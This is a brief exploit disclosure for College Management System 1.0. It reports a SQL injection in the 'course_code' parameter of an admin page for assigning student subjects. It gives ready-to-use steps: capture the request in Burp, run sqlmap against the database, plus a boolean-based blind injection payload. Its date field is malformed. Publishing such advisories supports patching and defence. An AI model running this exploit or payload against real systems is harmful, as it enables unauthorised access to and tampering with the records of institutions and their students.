# Date: 2022-24-03
# Exploit Author: Eren Gozaydin
# Vendor Homepage:
# Software Link:

1. Description:

College Management System 1.0 allows SQL Injection via parameter 'course_code' in
/College-Management-System/admin/asign-single-student-subjects.php. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.

2. Proof of Concept:

In Burpsuite intercept the request from the affected page with
'course_code' parameter and save it like poc.txt Then run SQLmap to extract the
data from the database:

sqlmap -r poc.txt --dbms=mysql

3. Example payload:

boolean-based blind
Payload: submit=Press&roll_no=3&course_code=-6093' OR 2121=2121 AND 'ddQQ'='ddQQ
